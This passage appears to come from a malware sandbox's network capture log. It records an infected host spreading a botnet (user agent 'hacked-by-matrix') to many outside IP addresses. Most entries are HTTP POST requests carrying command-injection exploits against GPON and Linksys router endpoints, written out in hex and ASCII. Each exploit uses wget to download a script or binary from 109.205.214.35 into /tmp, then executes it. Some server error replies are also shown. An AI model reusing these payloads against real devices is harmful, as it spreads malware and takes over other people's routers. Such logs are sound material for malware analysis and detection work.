Mar 21, 2024 05:22:08.492024899 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
311	192.168.2.13	56146	212.23.251.169	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:08.492049932 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
312	192.168.2.13	46510	42.96.65.161	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:08.492054939 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
313	192.168.2.13	47590	42.167.242.122	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:08.492094994 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
314	192.168.2.13	59422	23.88.26.202	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:08.803796053 CET	442	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 41 6d 61 6b 61 6e 6f 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+Amakano.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1
Mar 21, 2024 05:22:08.982655048 CET	361	IN	HTTP/1.1 302 Moved Temporarily Server: nginx Date: Thu, 21 Mar 2024 04:22:08 GMT Content-Type: text/html Content-Length: 138 Connection: close Location: https://127.0.0.1:8080/tmUnblock.cgi TH_ISPC: 1 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
315	192.168.2.13	42104	34.49.154.33	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:08.892036915 CET	442	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 41 6d 61 6b 61 6e 6f 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+Amakano.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1

Session ID	Source IP	Source Port	Destination IP	Destination Port
316	192.168.2.13	42002	194.63.250.114	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:08.990772963 CET	442	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 41 6d 61 6b 61 6e 6f 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+Amakano.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1
Mar 21, 2024 05:22:09.183778048 CET	1156	IN	HTTP/1.1 404 Not Found Server: Apache-Coyote/1.1 Content-Type: text/html;charset=utf-8 Content-Length: 994 Date: Thu, 21 Mar 2024 04:18:43 GMT Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 41 70 61 63 68 65 20 54 6f 6d 63 61 74 2f 36 2e 30 2e 31 38 20 2d 20 45 72 72 6f 72 20 72 65 70 6f 72 74 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 3c 21 2d 2d 48 31 20 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 54 61 68 6f 6d 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 77 68 69 74 65 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 32 35 44 37 36 3b 66 6f 6e 74 2d 73 69 7a 65 3a 32 32 70 78 3b 7d 20 48 32 20 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 54 61 68 6f 6d 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 77 68 69 74 65 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 32 35 44 37 36 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 36 70 78 3b 7d 20 48 33 20 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 54 61 68 6f 6d 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 77 68 69 74 65 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 32 35 44 37 36 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 34 70 78 3b 7d 20 42 4f 44 59 20 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 54 61 68 6f 6d 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 62 6c 61 63 6b 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 77 68 69 74 65 3b 7d 20 42 20 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 54 61 68 6f 6d 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 77 68 69 74 65 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 32 35 44 37 36 3b 7d 20 50 20 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 54 61 68 6f 6d 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 77 68 69 74 65 3b 63 6f 6c 6f 72 3a 62 6c 61 63 6b 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 7d 41 20 7b 63 6f 6c 6f 72 20 3a 20 62 6c 61 63 6b 3b 7d 41 2e 6e 61 6d 65 20 7b 63 6f 6c 6f 72 20 3a 20 62 6c 61 63 6b 3b 7d 48 52 20 7b 63 6f 6c 6f 72 20 3a 20 23 35 32 35 44 37 36 3b 7d 2d 2d 3e 3c 2f 73 74 79 6c 65 3e 20 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 68 31 3e 48 54 54 50 20 53 74 61 74 75 73 20 34 30 34 20 2d 20 2f 74 6d 55 6e 62 6c 6f 63 6b 2e 63 67 69 3c 2f 68 31 3e 3c 48 52 20 73 69 7a 65 3d 22 31 22 20 6e 6f 73 68 61 64 65 3d 22 6e 6f 73 68 61 64 65 22 3e 3c 70 3e 3c 62 3e 74 79 70 65 3c 2f 62 3e 20 53 74 61 74 75 73 20 72 65 70 6f 72 74 3c 2f 70 3e 3c 70 3e 3c 62 3e 6d 65 73 73 61 67 65 3c 2f 62 3e 20 3c 75 3e 2f 74 6d 55 6e 62 6c 6f 63 6b 2e 63 67 69 3c 2f 75 3e 3c 2f 70 3e 3c 70 3e 3c 62 3e 64 65 73 63 72 69 70 74 69 6f 6e 3c 2f 62 3e 20 3c 75 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 28 2f 74 6d 55 6e 62 6c 6f 63 6b 2e 63 67 69 29 20 69 73 20 6e 6f 74 20 61 76 61 69 6c 61 62 6c 65 2e 3c 2f 75 3e 3c 2f 70 3e 3c 48 52 20 73 69 7a 65 3d 22 31 22 20 6e 6f 73 68 61 64 65 3d 22 6e 6f 73 68 61 64 65 22 3e 3c 68 33 3e 41 70 61 63 68 65 20 54 6f 6d 63 61 74 2f 36 2e 30 2e 31 38 3c 2f 68 33 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><title>Apache Tomcat/6.0.18 - Error report</title><style>...H1 {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;font-size:22px;} H2 {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;font-size:16px;} H3 {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;font-size:14px;} BODY {font-family:Tahoma,Arial,sans-serif;color:black;background-color:white;} B {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;} P {font-family:Tahoma,Arial,sans-serif;background:white;color:black;font-size:12px;}A {color : black;}A.name {color : black;}HR {color : #525D76;}--></style> </head><body><h1>HTTP Status 404 - /tmUnblock.cgi</h1><HR size="1" noshade="noshade"><p><b>type</b> Status report</p><p><b>message</b> <u>/tmUnblock.cgi</u></p><p><b>description</b> <u>The requested resource (/tmUnblock.cgi) is not available.</u></p><HR size="1" noshade="noshade"><h3>Apache Tomcat/6.0.18</h3></body></html>
Mar 21, 2024 05:22:09.788276911 CET	1156	IN	HTTP/1.1 404 Not Found Server: Apache-Coyote/1.1 Content-Type: text/html;charset=utf-8 Content-Length: 994 Date: Thu, 21 Mar 2024 04:18:43 GMT Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 41 70 61 63 68 65 20 54 6f 6d 63 61 74 2f 36 2e 30 2e 31 38 20 2d 20 45 72 72 6f 72 20 72 65 70 6f 72 74 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 3c 21 2d 2d 48 31 20 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 54 61 68 6f 6d 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 77 68 69 74 65 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 32 35 44 37 36 3b 66 6f 6e 74 2d 73 69 7a 65 3a 32 32 70 78 3b 7d 20 48 32 20 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 54 61 68 6f 6d 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 77 68 69 74 65 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 32 35 44 37 36 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 36 70 78 3b 7d 20 48 33 20 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 54 61 68 6f 6d 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 77 68 69 74 65 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 32 35 44 37 36 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 34 70 78 3b 7d 20 42 4f 44 59 20 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 54 61 68 6f 6d 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 62 6c 61 63 6b 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 77 68 69 74 65 3b 7d 20 42 20 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 54 61 68 6f 6d 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 77 68 69 74 65 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 32 35 44 37 36 3b 7d 20 50 20 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 54 61 68 6f 6d 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 77 68 69 74 65 3b 63 6f 6c 6f 72 3a 62 6c 61 63 6b 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 7d 41 20 7b 63 6f 6c 6f 72 20 3a 20 62 6c 61 63 6b 3b 7d 41 2e 6e 61 6d 65 20 7b 63 6f 6c 6f 72 20 3a 20 62 6c 61 63 6b 3b 7d 48 52 20 7b 63 6f 6c 6f 72 20 3a 20 23 35 32 35 44 37 36 3b 7d 2d 2d 3e 3c 2f 73 74 79 6c 65 3e 20 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 68 31 3e 48 54 54 50 20 53 74 61 74 75 73 20 34 30 34 20 2d 20 2f 74 6d 55 6e 62 6c 6f 63 6b 2e 63 67 69 3c 2f 68 31 3e 3c 48 52 20 73 69 7a 65 3d 22 31 22 20 6e 6f 73 68 61 64 65 3d 22 6e 6f 73 68 61 64 65 22 3e 3c 70 3e 3c 62 3e 74 79 70 65 3c 2f 62 3e 20 53 74 61 74 75 73 20 72 65 70 6f 72 74 3c 2f 70 3e 3c 70 3e 3c 62 3e 6d 65 73 73 61 67 65 3c 2f 62 3e 20 3c 75 3e 2f 74 6d 55 6e 62 6c 6f 63 6b 2e 63 67 69 3c 2f 75 3e 3c 2f 70 3e 3c 70 3e 3c 62 3e 64 65 73 63 72 69 70 74 69 6f 6e 3c 2f 62 3e 20 3c 75 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 28 2f 74 6d 55 6e 62 6c 6f 63 6b 2e 63 67 69 29 20 69 73 20 6e 6f 74 20 61 76 61 69 6c 61 62 6c 65 2e 3c 2f 75 3e 3c 2f 70 3e 3c 48 52 20 73 69 7a 65 3d 22 31 22 20 6e 6f 73 68 61 64 65 3d 22 6e 6f 73 68 61 64 65 22 3e 3c 68 33 3e 41 70 61 63 68 65 20 54 6f 6d 63 61 74 2f 36 2e 30 2e 31 38 3c 2f 68 33 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><title>Apache Tomcat/6.0.18 - Error report</title><style>...H1 {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;font-size:22px;} H2 {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;font-size:16px;} H3 {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;font-size:14px;} BODY {font-family:Tahoma,Arial,sans-serif;color:black;background-color:white;} B {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;} P {font-family:Tahoma,Arial,sans-serif;background:white;color:black;font-size:12px;}A {color : black;}A.name {color : black;}HR {color : #525D76;}--></style> </head><body><h1>HTTP Status 404 - /tmUnblock.cgi</h1><HR size="1" noshade="noshade"><p><b>type</b> Status report</p><p><b>message</b> <u>/tmUnblock.cgi</u></p><p><b>description</b> <u>The requested resource (/tmUnblock.cgi) is not available.</u></p><HR size="1" noshade="noshade"><h3>Apache Tomcat/6.0.18</h3></body></html>
Mar 21, 2024 05:22:11.034504890 CET	1156	IN	HTTP/1.1 404 Not Found Server: Apache-Coyote/1.1 Content-Type: text/html;charset=utf-8 Content-Length: 994 Date: Thu, 21 Mar 2024 04:18:43 GMT Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 41 70 61 63 68 65 20 54 6f 6d 63 61 74 2f 36 2e 30 2e 31 38 20 2d 20 45 72 72 6f 72 20 72 65 70 6f 72 74 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 3c 21 2d 2d 48 31 20 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 54 61 68 6f 6d 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 77 68 69 74 65 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 32 35 44 37 36 3b 66 6f 6e 74 2d 73 69 7a 65 3a 32 32 70 78 3b 7d 20 48 32 20 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 54 61 68 6f 6d 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 77 68 69 74 65 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 32 35 44 37 36 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 36 70 78 3b 7d 20 48 33 20 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 54 61 68 6f 6d 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 77 68 69 74 65 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 32 35 44 37 36 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 34 70 78 3b 7d 20 42 4f 44 59 20 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 54 61 68 6f 6d 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 62 6c 61 63 6b 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 77 68 69 74 65 3b 7d 20 42 20 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 54 61 68 6f 6d 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 77 68 69 74 65 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 32 35 44 37 36 3b 7d 20 50 20 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 54 61 68 6f 6d 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 77 68 69 74 65 3b 63 6f 6c 6f 72 3a 62 6c 61 63 6b 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 7d 41 20 7b 63 6f 6c 6f 72 20 3a 20 62 6c 61 63 6b 3b 7d 41 2e 6e 61 6d 65 20 7b 63 6f 6c 6f 72 20 3a 20 62 6c 61 63 6b 3b 7d 48 52 20 7b 63 6f 6c 6f 72 20 3a 20 23 35 32 35 44 37 36 3b 7d 2d 2d 3e 3c 2f 73 74 79 6c 65 3e 20 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 68 31 3e 48 54 54 50 20 53 74 61 74 75 73 20 34 30 34 20 2d 20 2f 74 6d 55 6e 62 6c 6f 63 6b 2e 63 67 69 3c 2f 68 31 3e 3c 48 52 20 73 69 7a 65 3d 22 31 22 20 6e 6f 73 68 61 64 65 3d 22 6e 6f 73 68 61 64 65 22 3e 3c 70 3e 3c 62 3e 74 79 70 65 3c 2f 62 3e 20 53 74 61 74 75 73 20 72 65 70 6f 72 74 3c 2f 70 3e 3c 70 3e 3c 62 3e 6d 65 73 73 61 67 65 3c 2f 62 3e 20 3c 75 3e 2f 74 6d 55 6e 62 6c 6f 63 6b 2e 63 67 69 3c 2f 75 3e 3c 2f 70 3e 3c 70 3e 3c 62 3e 64 65 73 63 72 69 70 74 69 6f 6e 3c 2f 62 3e 20 3c 75 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 28 2f 74 6d 55 6e 62 6c 6f 63 6b 2e 63 67 69 29 20 69 73 20 6e 6f 74 20 61 76 61 69 6c 61 62 6c 65 2e 3c 2f 75 3e 3c 2f 70 3e 3c 48 52 20 73 69 7a 65 3d 22 31 22 20 6e 6f 73 68 61 64 65 3d 22 6e 6f 73 68 61 64 65 22 3e 3c 68 33 3e 41 70 61 63 68 65 20 54 6f 6d 63 61 74 2f 36 2e 30 2e 31 38 3c 2f 68 33 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><title>Apache Tomcat/6.0.18 - Error report</title><style>...H1 {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;font-size:22px;} H2 {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;font-size:16px;} H3 {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;font-size:14px;} BODY {font-family:Tahoma,Arial,sans-serif;color:black;background-color:white;} B {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;} P {font-family:Tahoma,Arial,sans-serif;background:white;color:black;font-size:12px;}A {color : black;}A.name {color : black;}HR {color : #525D76;}--></style> </head><body><h1>HTTP Status 404 - /tmUnblock.cgi</h1><HR size="1" noshade="noshade"><p><b>type</b> Status report</p><p><b>message</b> <u>/tmUnblock.cgi</u></p><p><b>description</b> <u>The requested resource (/tmUnblock.cgi) is not available.</u></p><HR size="1" noshade="noshade"><h3>Apache Tomcat/6.0.18</h3></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
317	192.168.2.13	41648	172.245.25.125	55555

Timestamp	Bytes transferred	Direction	Data
